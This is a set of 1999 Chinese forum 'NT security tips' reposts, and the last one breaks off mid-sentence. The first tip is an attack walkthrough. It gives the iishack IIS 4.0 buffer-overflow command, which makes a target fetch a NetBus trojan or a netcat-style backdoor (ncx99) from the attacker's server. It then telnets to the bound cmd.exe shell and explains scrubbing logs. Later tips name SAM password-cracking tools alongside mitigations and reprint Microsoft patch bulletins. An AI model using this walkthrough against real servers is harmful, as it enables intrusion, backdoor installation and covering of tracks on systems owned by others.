NT安全技术Tips之一
关键词：NT, 计算机安全
（原文内容加贴于1999年7月2日CHINA ASP安全技术版） M$的漏洞五花八门，层出不穷
最近Eeye发现的漏洞并写了2个小小的程序
在IIS的NT机器上有个DLL文件叫ism.dll,这个模块在web运行的时候就被加载到较高的内存地址,并且导致了零字节问题到处出现.IIShack.asm ,利用这个毛病,eEye写了两个程序: iishack.exe ncx99.exe,为达目的你必须自己有一个web server,把ncx99.exe和netbus木马传到这个web server的目录下,比如你的web server是:www.mysvr.com 而对方的IIS server是www.xxx.com
则: iishack www.xxx.com 80 www.mysvr.com/ncx99.exe (注意,不要加http://字符!)
上述命令输入后这时你应该可以看到
------(IIS 4.0 remote buffer overflow exploit)----------------- (c) dark spyrit -- barns@eeye.com. http://www.eEye.com
[usage: iishack
eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe do not include 'http://' before hosts!
--------------------------------------------------------------- Data sent!
这个时候，对方主机的IIS服务就关闭了??呵呵 恐怖8！
然后,再把Netbus等特洛伊木马传到对方机器上去:
iishack www.example.com 80 www.myserver.com/netbus.exe
ncx99.exe实际上是有名的Netcat的变种,它把对方server的cmd.exe绑定到Telnet服务
ncx.exe 这是较早的版本,是把端口绑到80的,由于80端口跑web服务,端口已经被使用.所以可能不一定有效
然后,用Telnet到对方的99或80端口: Telnet www.xxx.com 99 结果是这样:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\\>[You have full access to the system, happy browsing :)] C:\\>[Add a scheduled task to restart inetinfo in X minutes] C:\\>[Add a scheduled task to delete ncx.exe in X-1 minutes] C:\\>[Clean up any trace or logs we might have left behind.]
这样,你就完全控制了其硬盘上的文件!注意,如果你type exit退出,对方server上的这个进程也会退出
NT安全技术Tips之二
关键词：NT, 计算机安全
（原文加贴于1999年7月2日CHINA ASP安全技术版）
安 全 帐 户 管 理 (SAM) 数 据 库 可 以 由 以 下 用 户 被 复 制： Administrator 帐 户， Administrator 组 中 的 所 有 成 员， 备 份 操 作 员， 服 务 器 操 作 员， 以 及 所 有 具 有 备 份 特 权 的 人 员。
解 释：SAM 数 据 库 的 一 个 备 份 拷 贝 能 够 被 某 些 工 具 所
利 用 来 破 解 口 令。 NT 在 对 用 户 进 行 身 份 验 证 时， 只 能
达 到 加 密 RSA 的 水 平。 在 这 种 情 况 下， 甚 至 没 有 必 要 使 用 工 具 来 猜 测 那 些 明 文 口 令。 能 解 码 SAM 数 据 库 并
能 破 解 口 令 的 工 具 有： PWDump 和 NTCrack。 实 际 上， PWDump 的 作 者 还 有 另 一 个 软 件 包， PWAudit， 它 可 以 跟 踪 由 PWDump 获 取 到 的 任 何 东 西 的 内 容。
减 小 风 险 的 建 议：严 格 限 制 Administrator 组 和 备 份 组 帐 户 的 成 员 资 格。 加 强 对 这 些 帐 户 的 跟 踪， 尤 其 是 Administrator 帐 户 的 登 录 (Logon) 失 败 和 注 销 (Logoff) 失 败。 对 SAM 进 行 的 任 何 权 限 改 变 和 对 其 本 身 的 修 改 进
行 审 计， 并 且 设 置 发 送 一 个 警 告 给 Administrator， 告 知 有 事 件 发 生。 切 记 要 改 变 缺 省 权 限 设 置 来 预 防 这 个 漏
洞。
改 变 Administrator 帐 户 的 名 字， 显 然 可 以 防 止 黑 客 对 缺 省 命 名 的 帐 户 进 行 攻 击。 这 个 措 施 可 以 解 决 一 系 列 的
安 全 漏 洞。 为 系 统 管 理 员 和 备 份 操 作 员 创 建 特 殊 帐 户。 系 统 管 理 员 在 进 行 特 殊 任 务 时 必 须 用 这 个 特 殊 帐
户 注 册， 然 后 注 销。 所 有 具 有 Administrator 和 备 份 特 权 的 帐 户 绝 对 不 能 浏 览 Web。 所 有 的 帐 户 只 能 具 有 User 或 者 Power User 组 的 权 限。
采 用 口 令 过 滤 器 来 检 测 和 减 少 易 猜 测 的 口 令， 例 如， PASSPROP (Windows NT Resource Kit 提 供)， ScanNT (一 个 商 业 口 令 检 测 工 具 软 件 包)。 使 用 加 强 的 口 令 不 易 被 猜 测。 使 用 最 新 版 本 的 Service Pack 可 以 加 强 NT 口 令， 一 个 加 强 的 口 令 必 须 包 含 大 小 写 字 母， 数 字， 以 及 特 殊 字 符。 使 用 二 级 身 份 验 证 机 制， 比 如 令 牌 卡 (Token Card)， 可 提 供 更 强 壮 的 安 全 解 决 方 案， 不 过 是 要 米 米 的 哦??
NT安全技术Tips之三
关键词：NT, 计算机安全
（原文加贴于1999年7月2日CHINA ASP安全技术版）
日期 : 1999/05/27 分類 : Microsoft
來源參考 :Microsoft Security Bulletin __ 簡述
_________________________________________________________________ 微軟公布 WIndows NT RAS 與 RRAS 的修正程式，修正使用者取消 \password\
選項時，使用者的 password 仍會被儲存的缺失。 __ 說明
_________________________________________________________________ 1.當客戶端使用 Microsoft RAS 或 RRAS 撥接進入伺服器端，會詢問使用者是否要
儲存密碼 \，這項功能儲存使用者的安全資訊，但卻忽略了使用
者可能取消 \選項。
2.Windows 藉由 ACLs 保護存放於 registry 檔中使用者的安全資訊，包括 password
，而 ACLs 只允許管理者與有權限的使用者能存取該資訊，Windows NT 4.0 Service
Pack 4 另外提供以 SYSKEY 這個 registry 項目存放加密過的密碼資料。
3.當使用者取消 \選項時， registry 中所儲存的安全資訊並不會 消失。微軟公布修正程式，修正此項系統缺失，並要求使用 RAS 或 RRAS 的使用者
必須更新程式。 __ 影響平台
_____________________________________________________________ 1.Microsoft Windows NT Workstation 4.0
2.Microsoft Windows NT Server 4.0
3.Microsoft Windows NT Server 4.0, 企業版 __ 修正方式
_____________________________________________________________ 請根據使用 RAS 或 RRAS ，至下列網址取得更新程式： - RAS:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public /fixes/usa/nt40/Hotfixes-PostSP5/RASPassword-fix/ - RRAS:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public /fixes/usa/nt40/Hotfixes-PostSP5/RRASPassword-fix/ __ 影響結果
_____________________________________________________________ 可能會洩漏使用者的安全性資訊
Microsoft 發佈有關 CSRSS Worker Thread Exhaustion 安全性漏洞的修正程式。 -- 說明---------------------------------------------------------------
1. 在 CSRSS.EXE 的執行過程中，如果讓所有執行程序都在等待使用者的輸入動作
，這時候系統無法再繼續對其他需求提供服務，進而造成系統停擺，如果使用者
開始輸入，則執行程序會恢復正常。
2. 本修正程式用來確保最後一個 CSRSS 的 worker thread 並不需要使用者的輸入
動作，即可提供服務，藉此終止此項安全性弱點。 3. 更多訊息請參考以下網址：
http://support.microsoft.com/support/bulletins/ms99-021faq.asp. http://support.microsoft.com/support/kb/articles/q231/3/23.asp. http://www.microsoft.com/security/default.asp.
-- 影響平台 ---------------------------------------------------------- - Microsoft Windows NT 4.0 Workstation - Microsoft Windows NT 4.0 Server
- Microsoft Windows NT 4.0 Server, Enterprise Edition.
-- 修正方式 ---------------------------------------------------------- 修正程式可以從以下網址獲得：
ftp://ftp.microsoft.com/bussys/winnt/\\
winnt-public/fixes/usa/nt40/Hotfixes-PostSP5/CSRSS-fix/
注意：以上網址為了閱讀方便，已經分成兩行。請自行從\處將兩行接起。 -- 影響結果-----------------------------------------------------------
Denial of Service attack.
Microsoft 發佈有關 malformed LSA request 安全性漏洞的修正程式。 -- 說明---------------------------------------------------------------
1. Windows NT 提供一項名為 LSA(Local Security Authority) 的 API，可以有系 統的管理使用者的權限等級，功能包括查詢使用者名稱，修改等級，更換 安全性政策以及程式的認證等。
2. 某些 API 所採用的方法無法正常處理不正確的參數形態，因此可能造成 DoS 形
式的攻擊行為，因此受到攻擊的 service 需要重新啟動，但是並不能從攻擊 LSA
取得執行其他未獲許可的 service 的能力。
-- 影響平台 ---------------------------------------------------------- - Microsoft Windows NT 4.0 Workstation - Microsoft Windows NT 4.0 Server
- Microsoft Windows NT 4.0 Server, Terminal Server Edition, 4.0 -- 修正方式 ---------------------------------------------------------- 修正程式可以從以下網址獲得：
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa\\ /NT40/hotfixes-postSP5/LSA3-fix/
注意：以上網址為了閱讀方便，已經分成兩行。請自行從\處將兩行接起。 -- 影響結果----------------------------------------------------------- Denial of Service attack.
NT安全技术Tips之四
关键词：NT, 计算机安全
（原文加贴于1999年7月4日CHINA ASP安全技术版）
特 洛 伊 木 马 (Trojan Horses) 和 病 毒， 可 能 依 靠 缺 省 权 利 作 SAM 的 备 份， 获 取 访 问 SAM 中 的 口 令 信
息， 或 者 通 过 访 问 紧 急 修 复 盘 ERD 的 更 新 盘。
解 释： 特 洛 伊 木 马 (Trojan Horses) 和 病 毒， 可 以 由 以 下 各 组 中 的 任 何 成 员 在 用 缺 省 权 限 作 备 份 时 执 行 (缺 省
地， 它 们 包 括： Administrator 管 理 员， Administrator 组 成
员， 备 份 操 作 员， 服 务 器 操 作 员， 以 及 具 有 备 份 特 权